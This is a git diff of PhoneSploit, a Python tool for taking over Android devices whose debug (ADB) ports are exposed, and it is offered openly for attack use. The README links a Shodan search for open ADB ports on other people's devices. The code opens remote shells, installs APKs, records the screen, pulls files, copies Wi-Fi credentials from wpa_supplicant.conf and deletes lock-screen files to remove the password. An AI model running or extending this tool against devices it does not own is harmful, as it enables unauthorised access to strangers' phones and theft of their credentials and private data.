diff --git a/README.md b/README.md
index cfdbd8f..0e8abba 100644
--- a/README.md
+++ b/README.md
@@ -1,18 +1,41 @@
+# Recent News (New Update v.1.2)
+Port Forwarding
NetStat
+Grab wpa_supplicant
Turn WiFi On/Off
+Show Mac/Inet
Remove Password
+Extract apk from app
Use Keycode
+Get Battery Status
Get Current Activity
+
# PhoneSploit
Using open Adb ports we can exploit a device
you can find open ports here https://www.shodan.io/search?query=android+debug+bridge+product%3A”Android+Debug+Bridge”
To find out how to access a local device --> https://www.youtube.com/watch?v=OlhCAX1qBQo
-
I will soon make a tutorial on how to use PhoneSploit
-# HOW TO INSTALL
+# HOW TO INSTALL WINDOWS
```
-extract adb.rar to the phonesploit directory
git clone https://github.com/Zucccs/PhoneSploit
+extract adb.rar to the phonesploit directory
cd PhoneSploit
+pip install colorama
python2 main.py
```
+# HOW TO INSTALL Linux
+```
+git clone https://github.com/Zucccs/PhoneSploit
+cd PhoneSploit
+pip install colorama
+python2 main_linux.py
+```
+# IF ADB NOT FOUND
+sudo apt update
+sudo apt install android-tools-adb android-tools-fastboot
+
+
+
+# VIDEO
+[](https://www.youtube.com/watch?v=6XNf9s-PZxY)
+
# ScreenShots

diff --git a/main.py b/main.py
index d1fef0b..305c44b 100644
--- a/main.py
+++ b/main.py
@@ -6,9 +6,11 @@
#=============================
#Imports
+
import os
import random
-import time as t
+import urllib2
+import time as t
from colorama import Fore, init
#=============================
@@ -18,49 +20,58 @@
#=============================
#Install Functions
-def ColoringModeStartup():
- coloring_file = open(CurrentDir+"\\install\\coloring.txt", "a+")
- line = open(CurrentDir+"\\install\\coloring.txt", "a+").readline()
- if 'true' in line:
- init(convert=True)
- main()
- if 'false' in line:
- windows=False
- main()
- if "NOT_LOADED" in line:
- platform_choice = raw_input("Are you loading this script in (W)indows or (L)inux: ")
- open(CurrentDir+"\\install\\coloring.txt", "w").close()
- if platform_choice.lower() == 'w':
- coloring_file.write("true")
- else:
- coloring_file.write("false")
- yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE)
- if yn == "n":
- os.system("sudo apt install adb")
- else:
- main()
+# def ColoringModeStartup():
+# coloring_file = open(CurrentDir+"\\install\\coloring.txt", "a+")
+# line = open(CurrentDir+"\\install\\coloring.txt", "a+").readline()
+# if 'true' in line:
+# init(convert=True)
+# main()
+# if 'false' in line:
+# windows=False
+# main()
+# if "NOT_LOADED" in line:
+# platform_choice = raw_input("Are you loading this script in (W)indows or (L)inux: ")
+# open(CurrentDir+"\\install\\coloring.txt", "w").close()
+# if platform_choice.lower() == 'w':
+# coloring_file.write("true")
+# else:
+# coloring_file.write("false")
+# yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE)
+# if yn == "n":
+# os.system("sudo apt install adb")
+# else:
+# main()
#=============================
# Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20
+
+arrow = Fore.RED + " └──>".decode("utf-8") + Fore.WHITE
+connect = Fore.RED + "│".decode("utf-8") + Fore.WHITE
+page2 = False
+
logo_design_1 = ('''
- ____ __ _____ __ _ __
+ {0} ____ __ _____ __ _ __
/ __ \/ /_ ____ ____ ___ / ___/____ / /___ (_) /_
- / /_/ / __ \/ __ \/ __ \/ _ \\__ \/ __ \/ / __ \/ / __/
- / ____/ / / / /_/ / / / / __/__/ / /_/ / / /_/ / / /_
+ / /_/ / __ \/ __ \/ __ \/ _ \\__ \/ __ \ / / __ \/ / __/
+{1} / ____/ / / / /_/ / / / / __/__/ / /_/ / / /_/ / / /_
/_/ /_/ /_/\____/_/ /_/\___/____/ .___/_/\____/_/\__/
- /_/''')
+ /_/''').format(Fore.GREEN, Fore.WHITE, Fore.RED)
-logo_design_2 = '''
- _____ _ _____ _ _ _
-| _ | |_ ___ ___ ___| __|___| |___|_| |_
-| __| | . | | -_|__ | . | | . | | _|
-|__| |_|_|___|_|_|___|_____| _|_|___|_|_|
- |_|'''
+logo_design_2 = Fore.GREEN + '''
+ .;' `;,
+ .;' ,;' `;, `;, {0}PhoneSploit
+.;' ,;' ,;' `;, `;, `;,
+:: :: : {1}( ){0} : :: :: {1}Coded by Zucccs / Metachar{0}
+':. ':. ':. {1}/_\{0} ,:' ,:' ,:'
+ ':. ':. {1}/___\{0} ,:' ,:'
+ ':. {1}/_____\{0} ,:'
+ {1}/ \\{0}
+'''.format(Fore.GREEN, Fore.WHITE, Fore.RED)
logo_design_pre = '''
-╔═╗┬ ┬┌─┐┌┐┌┌─┐╔═╗┌─┐┬ ┌─┐┬┌┬┐
-╠═╝├─┤│ ││││├┤ ╚═╗├─┘│ │ ││ │
-╩ ┴ ┴└─┘┘└┘└─┘╚═╝┴ ┴─┘└─┘┴ ┴ '''
+{0}╔═╗{1}┬ ┬┌─┐┌┐┌┌─┐{0}╔═╗{1}┌─┐┬ ┌─┐┬┌┬┐
+{0}╠═╝{1}├─┤│ ││││├┤ {0}╚═╗{1}├─┘│ │ ││ │
+{0}╩ {1}┴ ┴└─┘┘└┘└─┘{0}╚═╝{1}┴ ┴─┘└─┘┴ ┴ '''.format(Fore.GREEN, Fore.WHITE, Fore.RED)
logo_design_3 = logo_design_pre.decode("utf-8")
logo_design_4 = '''
@@ -69,7 +80,7 @@ def ColoringModeStartup():
+mMMMMMMMMMMMMm+
`dMMm\033[0m:\033[92mNMMMMMMN\033[0m:\033[92mmMMd`
hMMMMMMMMMMMMMMMMMMh
- \033[92m.. yyyyyyyyyyyyyyyyyyyy .. \033[0m Expoit time :) \033[92m
+ \033[92m.. yyyyyyyyyyyyyyyyyyyy .. \033[0m Exploit time :) \033[92m
\033[92m.mMMm`MMMMMMMMMMMMMMMMMMMM`mMMm. \033[0m Thanks for downloading!\033[92m
\033[92m:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
@@ -83,129 +94,414 @@ def ColoringModeStartup():
MMMMo oMMMM
oNMm- -mMNs'''
-message = '''\n
-{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app
-{0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device
-{0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info
-{0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone
-{0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app
+logo_design_5 = '''
+ {0}______ {1}__ __ ______ __ __ ______ {0}______ {1}______ __ ______ __ ______
+{0}/\ == \ {1}/\ \_\ \ /\ __ \ /\ "-.\ \ /\ ___\ {0}/\ ___\ {1}/\ == \ /\ \ /\ __ \ /\ \ /\__ _\
+{0}\ \ _-/ {1}\ \ __ \ \ \ \/\ \ \ \ \-. \ \ \ __\ {0}\ \___ \ {1}\ \ _-/ \ \ \____ \ \ \/\ \ \ \ \ \/_/\ \/
+ {0}\ \_\ {1}\ \_\ \_\ \ \_____\ \ \_\\"\_\ \ \_____\ {0}\/\_____\ {1}\ \_\ \ \_____\ \ \_____\ \ \_\ \ \_\
+ {0}\/_/ {1}\/_/\/_/ \/_____/ \/_/ \/_/ \/_____/ {0}\/_____/ {1}\/_/ \/_____/ \/_____/ \/_/ \/_/
+'''.format(Fore.WHITE, Fore.GREEN)
+
+logo_design_6 = Fore.RED + '''
+ ,____
+ |---.\\
+ ___ | ` PHONESPLOIT
+ / .-\ ./=)
+ | |"|_/\/|
+ ; |-;| /_| REAP THE REWARDS
+ / \_| |/ \ |
+ / \/\( |
+ | / |` ) |
+ / \ _/ |
+ /--._/ \ |
+ `/|) | /
+ / | |
+ .' | |
+ / \ |
+ (_.-.__.__./ /
+
+'''
+
+logo_design_7 = Fore.GREEN + '''
+ .o oOOOOOOOo OOOo
+ Ob.OOOOOOOo OOOo. oOOo. .adOOOOOOO
+ OboO"""""""""""".OOo. .oOOOOOo. OOOo.oOOOOOo.."""""""""'OO
+ OOP.oOOOOOOOOOOO "POOOOOOOOOOOo. `"OOOOOOOOOP,OOOOOOOOOOOB'
+ `O'OOOO' `OOOOo"OOOOOOOOOOO` .adOOOOOOOOO"oOOO' `OOOOo
+ .OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO
+ OOOOO '"OOOOOOOOOOOOOOOO"` oOO
+ oOOOOOba. .adOOOOOOOOOOba .adOOOOo.
+ oOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO
+ OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO"` '"OOOOOOOOOOOOO.OOOOOOOOOOOOOO
+ "OOOO" "YOoOOOOMOIONODOO"` . '"OOROAOPOEOOOoOY" "OOO"
+ Y 'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?' :`
+ : .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO? .
+ . oOOP"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO"OOo
+ '%o OOOO"%OOOO%"%OOOOO"OOOOOO"OOO':
+ `$" `OOOO' `O"Y ' `OOOO' o .
+ . . OP" : o .
+
+'''
+
+page_1 = '''\n
+{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app
+{0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device
+{0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info
+{0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone
+{0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app
+
+
+{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear {0}[{1}p{0}] Next Page v1.2
+'''.format(Fore.CYAN, Fore.RED, Fore.GREEN)
+
+page_2 = '''\n
+{0}[{1}16{0}]{2} Port Forwarding {0}[{1}21{0}]{2} NetStat
+{0}[{1}17{0}]{2} Grab wpa_supplicant {0}[{1}22{0}]{2} Turn WiFi On/Off
+{0}[{1}18{0}]{2} Show Mac/Inet {0}[{1}23{0}]{2} Remove Password
+{0}[{1}19{0}]{2} Extract apk from app {0}[{1}24{0}]{2} Use Keycode
+{0}[{1}20{0}]{2} Get Battery Status {0}[{1}25{0}]{2} Get Current Activity
+
+
+{0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear {0}[{1}b{0}] Back to page one
+'''.format(Fore.CYAN, Fore.RED, Fore.GREEN)
-{0}[{1}99{0}] {2}Exit
-'''.format(Fore.WHITE, Fore.RED, Fore.YELLOW)
#=============================
#Main
def main():
- global load_count
- os.chdir(CurrentDir+"//adb")
- while load_count == 0:
- print (Fore.RED + "Starting adb server..")
- os.system("adb tcpip 5555")
- t.sleep(4)
- os.system('cls')
- os.system('clear')
- banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4])
- print Fore.RED + banner_title
- print message
- load_count += 1
+ page_num = 1
option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ")
if option == '1':
- yn = raw_input(Fore.WHITE + "Would you like to see advanced devices "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE)
- if yn.lower() == "y":
- os.system("adb devices -l")
- elif yn.lower() == "n":
- os.system("adb devices")
+ os.system("adb devices -l")
elif option == '2':
os.system("adb disconnect")
elif option == '3':
- print ("\nEnter a phones ip address.")
- ip = raw_input (Fore.WHITE + "phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ")
+ os.system("adb tcpip 5555")
+ print (("\n[{0}+{1}] Enter a phones ip address.").format(Fore.RED, Fore.WHITE))
+ ip = raw_input (arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ")
os.system("adb connect "+ip+":5555")
elif option == '4':
- print ("\nEnter a device name.")
- device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ")
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ")
os.system("adb -s "+device_name+" shell")
elif option == '5':
- print ("\nEnter a device name.")
- device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ")
- print ("\nEnter the apk location.")
- apk_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ")
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter the apk location.").format(Fore.RED, Fore.WHITE))
+ apk_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(apk_install) "+Fore.WHITE + "> ")
os.system("adb -s "+device_name+" install "+apk_location)
print (Fore.GREEN + "Apk has been installed.")
elif option == '6':
- print ("\nEnter a device name.")
- device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ")
- print (Fore.RED + "Please wait 3m its recording")
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}] Please wait 3m its recording").format(Fore.RED, Fore.WHITE))
+ print ((" "+connect))
os.system("adb -s "+device_name+" shell screenrecord /sdcard/demo.mp4")
- print ("\nEnter where you would like the video to be saved.")
- place_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ")
+ print ((" [{0}+{1}]Enter where you would like the video to be saved.").format(Fore.RED, Fore.WHITE))
+ place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screen_record) "+Fore.WHITE + "> ")
os.system("adb -s "+device_name+" pull /sdcard/demo.mp4 "+place_location)
elif option == '7':
- print ("\nEnter a device name.")
- device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ")
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ")
os.system("adb -s "+device_name+" shell screencap /sdcard/screen.png")
- print ("\nEnter where you would like the screenshot to be saved.")
- place_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter where you would like the screenshot to be saved.").format(Fore.RED, Fore.WHITE))
+ place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(screenshot) "+Fore.WHITE + "> ")
os.system("adb -s "+device_name+" pull /sdcard/screen.png "+place_location)
elif option == '8':
os.system("adb kill-server && adb start-server")
elif option == '9':
- print ("\nEnter a device name.")
- device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ")
- print ("\nEnter a file location on a device")
- file_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ")
- print ("\nEnter where you would like the file to be saved.")
- place_location = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ")
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter a file location on a device").format(Fore.RED, Fore.WHITE))
+ file_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter where you would like the file to be saved.").format(Fore.RED, Fore.WHITE))
+ place_location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(file_pull) "+Fore.WHITE + "> ")
os.system("adb -s "+device_name+" pull "+file_location+" "+place_location)
elif option == '10':
- print ("\nEnter a device name.")
- device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(device_reboot_cons) "+Fore.WHITE + "> ")
- print ("\nEnter ctrl +c to stop")
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(device_reboot) "+Fore.WHITE + "> ")
os.system("adb -s "+device_name+ " reboot ")
elif option == '11':
- print ("\nEnter a device name.")
- device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ")
- print ("\nEnter a package name.")
- package_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ")
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter a package name.").format(Fore.RED, Fore.WHITE))
+ package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_delete) "+Fore.WHITE + "> ")
os.system("adb -s "+device_name+" unistall "+package_name)
elif option == '12':
- print ("\nEnter a device name.")
- device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(log) "+Fore.WHITE + "> ")
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(log) "+Fore.WHITE + "> ")
os.system('adb -s '+device_name+" logcat ")
elif option == '13':
- print ("\nEnter a device name.")
- device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(sys_info) "+Fore.WHITE + "> ")
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(sys_info) "+Fore.WHITE + "> ")
os.system("adb -s "+device_name+" dumpsys")
elif option == '14':
- print ("\nEnter a device name.")
- device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(package_manager) "+Fore.WHITE + "> ")
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(package_manager) "+Fore.WHITE + "> ")
os.system("adb -s " +device_name+ " shell pm list packages -f")
main()
elif option == '15':
- print ("\nEnter a device name.")
- device_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ")
- print ("\nEnter a package name. They look like this --> com.snapchat.android")
- package_name = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ")
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE))
+ package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(app_run) "+Fore.WHITE + "> ")
os.system("adb -s "+device_name+" shell monkey -p "+package_name+" -v 500")
main()
+ elif option == '16':
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter a port on the device.").format(Fore.RED, Fore.WHITE))
+ port_device = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter a port to forward it too.").format(Fore.RED, Fore.WHITE))
+ forward_port = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port)
+
+ elif option == '17':
+ try:
+ print (("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ")
+ print ((Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C").format(Fore.RED, Fore.WHITE))
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter where you want the file to be saved.").format(Fore.RED, Fore.WHITE))
+ location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" shell "+"su -c 'cp /data/misc/wifi/wpa_supplicant.conf /sdcard/'")
+ os.system("adb -s "+device_name+" pull /sdcard/wpa_supplicant.conf "+location)
+ except KeyboardInterrupt:
+ main()
+
+ elif option == '18':
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(mac_inet) "+Fore.WHITE + "> ")
+ os.system("adb -s " +device_name+ " shell ip address show wlan0")
+ main()
+
+ elif option == '19':
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE))
+ package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" shell pm path "+package_name)
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter The path.looks like this /data/app/com.snapchat.android-qWgDcBiCEvANq6op_NPqeA==/base.apk").format(Fore.RED, Fore.WHITE))
+ path = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}]Enter The location to store the apk: ") .format(Fore.RED, Fore.WHITE))
+ location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ")
+ os.system("adb -s " +device_name+" pull "+path+" "+location)
+ main()
+
+ elif option == '20':
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(battery) "+Fore.WHITE + "> ")
+ os.system("adb -s " +device_name+ " shell dumpsys battery")
+ main()
+
+ elif option == '21':
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(net_stat) "+Fore.WHITE + "> ")
+ os.system("adb -s " +device_name+ " shell netstat")
+ main()
+
+ elif option == '22':
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(wifi) "+Fore.WHITE + "> ")
+ print ((" "+connect))
+ print ((" [{0}+{1}] To turn wifi back on you need the device to be pluged in.").format(Fore.RED, Fore.WHITE))
+ print ((" "+connect))
+ on_off = raw_input(Fore.WHITE + " ["+Fore.RED+"+"+Fore.WHITE+"]Would you like the wifi "+Fore.GREEN +"on"+Fore.WHITE +"/"+Fore.RED +"off "+Fore.WHITE)
+ if on_off == 'off':
+ command = " shell svc wifi disable"
+ else:
+ command = " shell svc wifi enable"
+
+ os.system("adb -s "+device_name+command)
+
+ elif option == '23':
+ print (("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(pass_remove) "+Fore.WHITE + "> ")
+ print ((Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C THIS IS ALSO UNTESTED").format(Fore.RED, Fore.WHITE))
+ print ((" "+connect))
+ print (Fore.RED + "******************TRYING TO REMOVE PASS******************")
+ os.system("adb -s "+device_name+" shell su 0 'rm /data/system/gesture.key'")
+ os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db'")
+ os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db-wal'")
+ os.system("adb -s "+device_name+" shell su 0 'rm /data/system/locksettings.db-shm'")
+ print (Fore.RED + "******************TRYING TO REMOVE PASS******************")
+
+ elif option == '24':
+ print (("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(keycode) "+Fore.WHITE + "> ")
+ print ('''
+0 --> "KEYCODE_UNKNOWN"
+1 --> "KEYCODE_MENU"
+2 --> "KEYCODE_SOFT_RIGHT"
+3 --> "KEYCODE_HOME"
+4 --> "KEYCODE_BACK"
+5 --> "KEYCODE_CALL"
+6 --> "KEYCODE_ENDCALL"
+7 --> "KEYCODE_0"
+8 --> "KEYCODE_1"
+9 --> "KEYCODE_2"
+10 --> "KEYCODE_3"
+11 --> "KEYCODE_4"
+12 --> "KEYCODE_5"
+13 --> "KEYCODE_6"
+14 --> "KEYCODE_7"
+15 --> "KEYCODE_8"
+16 --> "KEYCODE_9"
+17 --> "KEYCODE_STAR"
+18 --> "KEYCODE_POUND"
+19 --> "KEYCODE_DPAD_UP"
+20 --> "KEYCODE_DPAD_DOWN"
+21 --> "KEYCODE_DPAD_LEFT"
+22 --> "KEYCODE_DPAD_RIGHT"
+23 --> "KEYCODE_DPAD_CENTER"
+24 --> "KEYCODE_VOLUME_UP"
+25 --> "KEYCODE_VOLUME_DOWN"
+26 --> "KEYCODE_POWER"
+27 --> "KEYCODE_CAMERA"
+28 --> "KEYCODE_CLEAR"
+29 --> "KEYCODE_A"
+30 --> "KEYCODE_B"
+31 --> "KEYCODE_C"
+32 --> "KEYCODE_D"
+33 --> "KEYCODE_E"
+34 --> "KEYCODE_F"
+35 --> "KEYCODE_G"
+36 --> "KEYCODE_H"
+37 --> "KEYCODE_I"
+38 --> "KEYCODE_J"
+39 --> "KEYCODE_K"
+40 --> "KEYCODE_L"
+41 --> "KEYCODE_M"
+42 --> "KEYCODE_N"
+43 --> "KEYCODE_O"
+44 --> "KEYCODE_P"
+45 --> "KEYCODE_Q"
+46 --> "KEYCODE_R"
+47 --> "KEYCODE_S"
+48 --> "KEYCODE_T"
+49 --> "KEYCODE_U"
+50 --> "KEYCODE_V"
+51 --> "KEYCODE_W"
+52 --> "KEYCODE_X"
+53 --> "KEYCODE_Y"
+54 --> "KEYCODE_Z"
+55 --> "KEYCODE_COMMA"
+56 --> "KEYCODE_PERIOD"
+57 --> "KEYCODE_ALT_LEFT"
+58 --> "KEYCODE_ALT_RIGHT"
+59 --> "KEYCODE_SHIFT_LEFT"
+60 --> "KEYCODE_SHIFT_RIGHT"
+61 --> "KEYCODE_TAB"
+62 --> "KEYCODE_SPACE"
+63 --> "KEYCODE_SYM"
+64 --> "KEYCODE_EXPLORER"
+65 --> "KEYCODE_ENVELOPE"
+66 --> "KEYCODE_ENTER"
+67 --> "KEYCODE_DEL"
+68 --> "KEYCODE_GRAVE"
+69 --> "KEYCODE_MINUS"
+70 --> "KEYCODE_EQUALS"
+71 --> "KEYCODE_LEFT_BRACKET"
+72 --> "KEYCODE_RIGHT_BRACKET"
+73 --> "KEYCODE_BACKSLASH"
+74 --> "KEYCODE_SEMICOLON"
+75 --> "KEYCODE_APOSTROPHE"
+76 --> "KEYCODE_SLASH"
+77 --> "KEYCODE_AT"
+78 --> "KEYCODE_NUM"
+79 --> "KEYCODE_HEADSETHOOK"
+80 --> "KEYCODE_FOCUS"
+81 --> "KEYCODE_PLUS"
+82 --> "KEYCODE_MENU"
+83 --> "KEYCODE_NOTIFICATION"
+84 --> "KEYCODE_SEARCH"
+85 --> "TAG_LAST_KEYCODE"
+ ''')
+ print (("[{0}+{1}]Enter a number.").format(Fore.RED, Fore.WHITE))
+ num = raw_input(arrow + "phonesploit"+Fore.RED + "(keycode) "+Fore.WHITE + "> ")
+ os.system("adb -s "+device_name+" shell input keyevent "+num)
+
+ elif option == '25':
+ print (("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE))
+ device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(current_activity) "+Fore.WHITE + "> ")
+ os.system("adb -s " +device_name+ " dumpsys activity")
+ main()
+
+ elif option == '0':
+ global page2
+ if page2 == True:
+ clear(page_2)
+ else:
+ clear(page_1)
+
+ elif option == 'p':
+ os.system('cls')
+ page2 = True
+ banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4])
+ print (Fore.RED + banner_title)
+ print (page_2)
+
+ elif option == 'b':
+ os.system('cls')
+ page2 = False
+ banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4])
+ print (Fore.RED + banner_title)
+ print (page_1)
+
+ elif option == '99':
+ exit()
